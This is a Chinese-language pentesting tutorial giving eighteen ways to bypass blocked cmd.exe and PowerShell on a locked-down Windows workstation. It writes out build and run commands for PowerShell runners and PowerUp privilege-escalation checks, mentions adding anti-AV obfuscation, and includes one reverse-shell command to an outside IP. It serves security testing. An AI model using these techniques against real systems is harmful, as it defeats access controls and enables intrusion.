有时,我们需要从员工的角度进行渗透测试。我们需要在受限域用户帐户访问其Windows工作站。我们可以做什么?我们是否可以绕过桌面上强制执行的安全控制并提升特权?我们可以违反公司安全控制措施并连接到网络上吗?
介绍
在这里,我们将重点介绍一个非常特定的领域,即使用命令行工具。因此,本文中的信息也适用于各种VDI(虚拟桌面基础结构)解决方案,例如Citrix,VMWare等。
在大多数成熟的环境中以及大多数这些测试中,对命令行工具的访问会受到限制。员工通常无法生成命令提示符或PowerShell。这通常是使用AppLocker,GPO或SRP等进行限制。
Cmd被管理员阻止
当我们尝试启动命令提示符(cmd.exe)时,通常会看到以下错误消息:
The command prompt has been disabled by your administrator. Press any key to continue . . .

PowerShell受组策略阻止
同样,当我们尝试启动PowerShell解释器(powershell.exe)时,通常会看到以下错误消息:
This app has been blocked by your system administrator. Contact your system administrator for more info.

我们可以以某种方式绕过这些限制并生成命令行。在本文中,我将列出18种方法。到目前为止,我还没有发现使用这些方法无法成功的案例。
绕过阻止的命令提示符
方法1:使用完整路径
有时,通过在Cortana搜索/“开始”菜单中提供cmd.exe的完整路径,可以绕过限制并生成它:

你可以使用powershell.exe执行相同的操作。要查找所有这些位置,你可以使用文件资源管理器在C:\ Windows目录中进行简单搜索,也可以使用以下命令:
cd %windir% dir /s /b cmd.exe dir /s /b powershell.exe
方法2:将对象导入写字板
有时可以绕过的另一种方法是启动写字板编辑器,然后将cmd.exe插入为这样的对象:



方法3:Cmd.bat
这是非常古老的方法,可能从Internet诞生之初就有了使用。
创建以下批处理文件,将其命名为任何名称(例如a.bat)并运行它:
@echo off :a set /p comm=cmd~ %comm% goto a
你可能会收到命令提示符。如果仍然被阻止,请尝试将其放置到其他位置。

方法4:ReactOS Cmd
链接:https://blog.didierstevens.com/2010/02/04/cmd-dll/
它是由@DidierStevens在2010 年创建的,至今仍然有用。它基本上是由ReactOS项目完成的对Microsoft的命令提示符(cmd.exe)的逆向出的工程。Didier将其转换为DLL,因此可以说它是一个实现为库的命令提示符。但是Didier并没有就此停止。
最新版本(https://didierstevens.com/files/software/cmd-dll_v0_0_4.zip)包含以下3种形式:
EXE版本(cmd.exe)
你只需双击可执行文件并运行它。可能它不会被AV阻止,并且ReactOS命令提示符窗口将会出现。然后,你可以像在cmd.exe命令提示符下一样键入任何命令。
DLL版本(cmd.dll)
你必须使用rundll32.exe加载的DLL版本是这样的:
rundll32.exe cmd.dll,main
例如,你可以从“运行”对话框(Win + R)或“ Cortana搜索/开始”菜单或快捷方式启动它。ReactOS命令提示符窗口应如下所示生成:

VBA版本(cmd.dll.bin.vba)
在这里,你必须创建一个Microsoft Office文档并向其中添加一个宏。例如,你可以从Outlook执行此操作。打开宏编辑器(Visual Basic IDE)之后,执行以下操作:
- 文件->导入文件-> c:\path\to\cmd.dll.bin.vba
- 运行(F5)
应该会出现ReactOS命令提示符窗口。
方法5:Ftp客户端
严格来说,这实际上不是绕过阻止命令提示符的方法,但是可以在此处包括此方法,因为内置的FTP客户端(ftp.exe)允许在交互式窗口中像cmd.exe提示符一样在系统上执行命令。ftp客户端支持使用bang (!)运行本地命令。
只需启动ftp客户端,例如通过“开始”菜单:
- 开始-> FTP
有时这可能会被阻止,但是当你指定它的完整路径时,就会成功了:
- 开始-> c:\windows\system32\ftp.exe

方法6:绕过校验
这是我最喜欢的方法。当cmd.exe根据其校验被列入黑名单时,此技术有效。要绕过它,只需复制cmd.exe,然后在其末尾附加一个字节(覆盖)。这将更改其校验值,而功能不应受到影响。所以,我们可以执行以下命令:
copy c:/windows/system32/cmd.exe c:\users\public\a.exe echo >>c:\users\public\a.exe c:\users\public\a.exe
我们修改后的命令提示符很可能会派生出来。也可以通过ftp客户端生成它:

可以使用相同的方法生成powershell.exe解释器。
方法7:WMI控制台
这并不是真正被阻止的命令提示的绕过,但是可以将其包含在此处,因为WMI控制台(wmic.exe)打开了一个交互式窗口,该窗口甚至比cmd.exe命令提示符更强大。以下是一些有用的链接,以及有关如何使用它的示例:
- https://www.cs.cmu.edu/~tgp/scsadmins/winadmin/WMIC_Queries.txt
- https://gist.github.com/xorrior/67ee741af08cb1fc86511047550cdaf4
- https://www.programering.com/a/MzMyADMwATU.html
- http://www.hackingarticles.in/post-exploitation-using-wmic-system-command/
例如,只需通过“开始”菜单生成控制台,如下所示:
- 开始-> wmic
如果被阻止,请尝试使用完整路径,如下所示:
- 开始-> C:\windows\syswow64\wbem\wmic.exe
绕过阻止的PowerShell
本节列出了各种已知绕过被阻止的PowerShell以及如何生成PowerShell解释器和/或执行任意PowerShell命令的方法。这些技术大多数基于使用Windows系统上存在的PowerShell库的自定义工具。
方法8:PowerShdll
链接:https://github.com/p3nt4/PowerShdll
该工具由@ xP3nt4在2017 年创建。它是一种自定义的类似于PowerShell的解释器,形式为DLL。它可以与rundll32.exe,installutil.exe,regsvcs.exe,regasm.exe,regsvr32.exe一起运行,也可以作为独立的可执行文件运行。
只需获取最新版本,将其传输到目标计算机上,并使用以下任何命令生成它:
# On x86/x64 platforms: rundll32.exe PowerShdll,main regsvr32.exe /s PowerShdll.dll regsvr32.exe /s /u PowerShdll.dll # On x64 platforms: C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll # On x86 platforms: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
你应该生成PowerShdll解释器窗口,并准备好执行命令,如下所示:

请注意,命令的长度有限制(最多255个字符的长命令)。但是,你可以使用Import-Module
command 导入其他模块和cmdlet 或运行任何其他PowerShell命令来解决这些限制。
方法9:MSBuildShell
链接:https://github.com/Cn33liz/MSBuildShell
该项目来自2016年,由@ Cn33liz完成。它是另一种类似于PowerShell的自定义解释器,但该解释器在Microsoft Build Engine(MSBuild.exe)中运行。MSBuild.exe实用程序是.NET框架的一部分,几乎在每个Windows安装中都存在。
只需从存储库中获取MSBuildShell.csproj文件,将其传输到目标计算机上,然后像这样运行它:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildShell.csproj # Or C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
你应该生成MSBuildShell解释器窗口,并准备好执行命令,如下所示:

现在,可以使用Import-Module
command 导入其他模块和cmdlet 或运行任何其他PowerShell命令。
方法10:CScriptShell
链接:https://github.com/carnal0wnage/CScriptShell
这是基于上面的MSBuildShell。它基本上与MSBuildShell相同,但是这次是DLL形式。首先,你必须使用csc.exe(C#编译器)在计算机上构建DLL,如下所示:
# Create Your Strong Name Key (using PowerShell): $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQDpppNj5RmGMzd+NkKLJYCF4hDgM4K0KpgdHXfiNKXleoVrvpQz75gSNQJyN/pROTNBhEA0jp5IqrEqdJQsPzXYO3l5JGDtpu3AD7dxge1oUWpugdk5ZHIMOsB1Il/FL+96m39ZZL7o5LHCdHdctEeTG+S15IDyM7L9VoAi7cXsueP7kvvTJETonQoz4JRdH889XnTDWebwj3ViH6zq+Xv5/l0iJh65v6VAzYLfCKEkFzev36w8RJYpwMMwwHDlCMvDYwdY2MFFp/ZQHg7If0BuDLM7D5ozGJnEVUTwwM+gZQ1LRn5EE6WrffQ/Gy2XtzvH4wRlYX939aOm8XVOPm3q0yVe40xxQaR3NR5v6G59dcZWU8baoZFes9mXg3ydQxkPgxbmjJ+Vfw0IVdj4VqrJ0O2IB+eSf9N305Hf32sqooOuytsKIS/DBJ9T5njUV3rQZzguyKGdFZfE4flPBkuRWHXMM63kyKQNLalf3XRTKP3+4Aw+YS9Q+bH53Y4uIIVkR3uN8beKlXBCg1Ja+3qCyMrhSsuhEevrsQTVypHWouG49esZSyYQoyXXxGKwpEuDFmdFmSXEnru54lb/PuOHVTlQHR7hd6TAe0tFOaJWDosNN1QPLTicIvmfeU5KvNsrBMmdnf7NF3yzNAN5jf4DEYg1UK6x0s+IP2JCumjjTx4GIm3h/eO+AqlIy8xbUeZFyln3P5XSQ1ErRRiVGGp1TLa5vNPf8Y4LcV1LSSKnNspw7H3Fw0UyxDs5t+tNQ1I=' $Content = [System.Convert]::FromBase64String($key) Set-Content key.snk -Value $Content -Encoding Byte # Compile DLL C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /r:System.EnterpriseServices.dll,System.Management.Automation.dll /target:library /out:CScriptShell.dll /keyfile:key.snk CScriptShell.cs
然后,你可以从存储库中获取生成的CScriptShell.dll文件和CScriptShell.js文件,并将它们传输到目标计算机上。然后,你可以通过cscript.exe运行解释器来生成解释器,如下所示:
cscript.exe CScriptShell.js

现在,你可以使用Import-Module
command 导入其他模块和cmdlet 或运行任何其他PowerShell命令。
方法11:p0wnedShell
链接:https://github.com/Cn33liz/p0wnedShell
这是@ Cn33liz创建的另一个工具,首次提交时间为2015年。它是PowerShell Runspace发布的漏洞利用工具包。基本上,它是另一个类似于PowerShell的解释器,但是该解释器包含许多有用的利用后的模块和嵌入在其中的cmdlet。
要使用它,你必须使用Microsoft Visual Studio来构建它。构建好之后,将生成的p0wnedShell.exe二进制文件传输到目标计算机上并运行它。你应该会看到以下内容:

为交互式PowerShell解释器选择选项16。现在,你可以使用Import-Module
command 导入其他模块和cmdlet 或运行任何其他PowerShell命令。注意,解释器已经在运行空间中加载了许多模块。
方法12:PSShell
链接:https://github.com/fdiskyou/PSShell
该项目由@fdiskyou在2016 年完成。它是类似于PowerShell的交互式解释器,它有2个版本(发行版):
2.0版:DLL版本
你必须使用Microsoft Visual Studio进行编译。编译完成后,将产生的PSShell.dll二进制文件传输到目标计算机上,并使用以下任何命令运行它:
rundll32 PSShell.dll,EntryPoint # Or regsvr32 PSShell.dll # Or regsvr32 /u PSShell.dll
1.0版:EXE版本
你可以使用内置的C#编译器csc.exe(不需要Visual Studio)来编译此代码。获取Release 1.0,然后使用csc.exe进行编译,如下所示:
# Go to the latest .NET version folder, e.g.: cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 # Compile: csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PSShell.exe /platform:x64 "C:\path\to\PSShell\Program.cs"
然后只需将生成的PSShell.exe二进制文件传输到目标计算机上并运行它。PSShell解释器窗口应如下所示:

现在,可以使用Import-Module
command 导入其他模块和cmdlet 或运行任何其他PowerShell命令。
方法13:PowerOPS
链接:https://github.com/fdiskyou/PowerOPS
这也来自@fdiskyou,也发布于2016。它是另一个类似于PowerShell的交互式解释器。它称为PowerShell Runspace便携式后期开发工具。它带有一些已经在运行空间中预装的有用模块和功能。其中包括PowerSploit,Nishang,Empire等模块。
构建过程非常简单明了–你可以使用csc.exe进行编译(无需Visual Studio)。只需克隆存储库并执行:
# Go to the latest .NET version folder, e.g.: cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 # Compile: csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS.exe /platform:x64 "C:\path\to\PowerOPS\PowerOPS\*.cs"
然后只需将生成的PowerOPS.exe二进制文件传输到目标计算机上并运行它。PowerOPS解释器窗口应如下所示:

现在,可以使用Import-Module
command 导入其他模块和cmdlet 或运行任何其他PowerShell命令。你还可以使用预加载的模块(PowerSploit,Nishang,Empire等)。
方法14:Nps(不是PowerShell)
链接:https://github.com/Ben0xA/nps
这不是一个真正的PowerShell解释器。它是一个使你无需使用powershell.exe即可运行PowerShell命令的工具。它是由@ Ben0xA在2015年创建的。
有nps.exe包含在项目中已经,你可以立即使用(二进制nps.zip)。或者,如果需要,你可以编译自己的版本并添加一些混淆。要编译自己的版本,只需使用内置的C#编译器csc.exe,如下所示:
# Go to the latest .NET version folder, e.g.: cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 # Compile: csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\username\nps.exe /platform:x64 "C:\path\to\nps\*.cs"
然后只需将nps.exe二进制文件传输到目标系统上,然后像这样运行它:
# Usage: nps.exe "powershell single command" nps.exe "& {commands; semi-colon; separated}" nps.exe -encodedcommand {base64_encoded_command} nps.exe -encode "commands to encode to base64" nps.exe -decode {base64_encoded_command}
现在,你可以使用nps.exe运行任何PowerShell命令。你也可以使用Import-Module
命令导入其他模块。这是使用PowerUp.ps1模块进行特权升级检查的示例:
c:\users\public\nps.exe "Set-ExecutionPolicy -Scope CurrentUser Bypass; Import-Module c:\users\public\PowerUp.ps1; Invoke-AllChecks >c:\users\public\results.txt"
例如,你可以像这样直接在Cortana搜索/开始菜单中键入它,它将在控制台窗口中执行,而不会产生powershell.exe进程的单个实例:

然后将结果写入c:\users\public\results.txt
文件。
方法15:NoPowerShell
链接:https://github.com/bitsadmin/nopowershell
NoPowerShell由Arris Huijgen(@bitsadmin)在2018 年创建。它是另一个类似于PowerShell的解释器,但该解释器与其他解释器不同–它不使用System.Management.Automation.dll库。其目的是尽可能隐蔽。例如,可以将其加载到Cobalt Strike中并在内存中执行命令。它还包含嵌入其中的许多开发后模块和cmdlet。
你可以轻松地对其进行增强并构建自己的版本(例如,添加一些抗AV模糊处理),也可以简单地获取最新版本的二进制文件并将其传输到目标计算机上。
DLL版本产生如下的交互式提示窗口:
# On x64 platforms: rundll32.exe NoPowerShell64.dll,main # On x86 platforms: rundll32.exe NoPowerShell.dll,main

EXE版本
EXE版本不是交互式解释器。它更像上面介绍的Nps,它使你可以运行类似PowerShell的命令,而无需运行powershell.exe。例:
# Usage: NoPowerShell.exe [Command] [Parameters] | [Command2] [Parameters2] etc. # Example: NoPowerShell.exe Get-Command - list all supported commands NoPowerShell.exe Get-ComputerInfo - get computer info NoPowerShell.exe Get-NetIPAddress -All - get IP address configuration NoPowerShell.exe Get-NetNeighbor - get ARP table
请注意,此工具有一些限制。它不是完全成熟的PowerShell环境。例如,你不能使用Import-Module
命令加载其他模块或运行任意PowerShell命令。仅支持的命令可用。请参阅官方文档或运行Get-Command
以获取受支持的命令列表。
方法16:PowerLine
链接:https://github.com/fullmetalcache/PowerLine
这是我的最爱之一。该工具由Brian Fehrman(@fullmetalcache)于2017 年创建。它不是交互式解释器,但允许你将任意数量的选定PowerShell模块打包到单个可执行文件中。你必须先在计算机上构建此文件,然后在目标计算机上传输生成的可执行文件。该可执行文件将包含你在构建过程中指定的所有脚本的XOR编码,base64编码的版本。
构建过程非常简单明了–不需要Visual Studio。只需遵循以下步骤:
# 1. Clone the repository git clone https://github.com/fullmetalcache/PowerLine.git # 2. Run the build.bat file cd PowerLine build.bat # 3. Edit the UserConf.xml file and add links to the PowerShell scripts that you would like to add: notepad UserConf.xml # 4. Run the PLBuilder.exe file PLBuilder.exe
构建过程完成后,将生成PowerLine.exe文件。现在,你可以获取此文件并将其传输到目标计算机上。然后像这样使用它:
# Usage: PowerLine.exe -ShowScripts - list all embedded scripts PowerLine.exe <Module> "Get-Command" - list all available commands # Examples: PowerLine.exe PowerUp "Invoke-AllChecks" PowerLine.exe Invoke-WCMDump "Invoke-WCMDump"
这是一个示例。你可以在其中嵌入几乎所有内容:

例如,通过嵌入Invoke-PowerShellTcp模块(默认情况下已包括该模块),你还可以像这样通过网络生成交互式PowerShell解释器:
PowerLine.exe Invoke-PowerShellTcp "Invoke-PowerShellTcp -Reverse -IPAddress 192.168.204.223 -Port 4444"

方法17:PowerLessShell
链接:https://github.com/Mr-Un1k0d3r/PowerLessShell
这是另一个可以运行PowerShell代码而无需生成powershell.exe单个实例的工具。它是由@ MrUn1k0d3r于2017 年编写的。PowerLessShell是Python工具,其工作方式是向其提供PowerShell脚本并将其转换为csproj文件。然后,你可以通过MSBuild.exe执行它。
方法18:SharpPick
链接:https://github.com/TheKevinWang/SharpPick
该工具最初由@sixdub于2015年作为PowerTools的一部分开发。后来在2018年由Kevin Wang进行了增强。SharpPick不是交互式解释器,但是它允许你运行指定为参数的任意PowerShell代码,类似于上面介绍的Nps,PowerLine或NoPowerShell。
首先,你必须在计算机上编译它。如何使用Microsoft Visual Studio编译它说明都记录在sixdub的网站在这里。在使用以下步骤进行一些较小的修改后,我们还可以使用csc.exe对其进行编译:
# Go to the latest .NET version folder, e.g.: cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 # Compile: csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\public\sharppick.exe /platform:x64 "C:\users\public\SharpPick.cs"
编译之后,只需将Sharppick.exe二进制文件传输到目标系统上,然后像这样运行它:
Usage: sharppick.exe [<flag> <argument>] flags: -f <file> : Read script from specified file -d <url> : Read script from URL -a <delimeter> : Read script appended to current binary after specified delimeter. -c <command> : PowerShell command to execute, enclosed on quotes.
该工具的优点是你可以指定一个脚本来从文件或URL运行。你还可以将任意PowerShell代码附加到sharppick.exe二进制文件本身中,然后使用-a
参数运行它。或者,你可以简单地使用-c
参数将命令指定为参数。
你可以使用此工具运行任何PowerShell命令。你也可以使用Import-Module
命令导入其他模块。这再次是使用PowerUp.ps1模块的示例:
c:\users\public\sharppick.exe -c "Set-ExecutionPolicy -Scope CurrentUser Bypass; Import-Module c:\users\public\PowerUp.ps1; Invoke-AllChecks >c:\users\public\results.txt"
再次,你可以像在上面带有nps.exe的示例中一样,直接在Cortana搜索/开始菜单中键入此命令,例如,你可以创建一个新的快捷方式并将命令粘贴在其中:

双击快捷方式后,将执行我们的命令,并将结果写入c:\users\public\results.txt
文件中。所有这些都无需生成powershell.exe的单个实例。
其他链接
- https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/
- https://github.com/api0cradle/UltimateAppLockerByPassList
- https://evi1cg.me/archives/ypassing_Applocker_with_MSBuild-exe.html
- https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html
- https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
- https://github.com/netbiosX/Checklists/blob/master/AppLocker.md
- https://github.com/api0cradle/PowerAL
CYF
[nmsl]目瞪口呆️⃣2️⃣3️⃣0️⃣;..
周松松博客
技术大牛啊,膜拜,周松松来访
自考本科
博主的干货确实很多啊~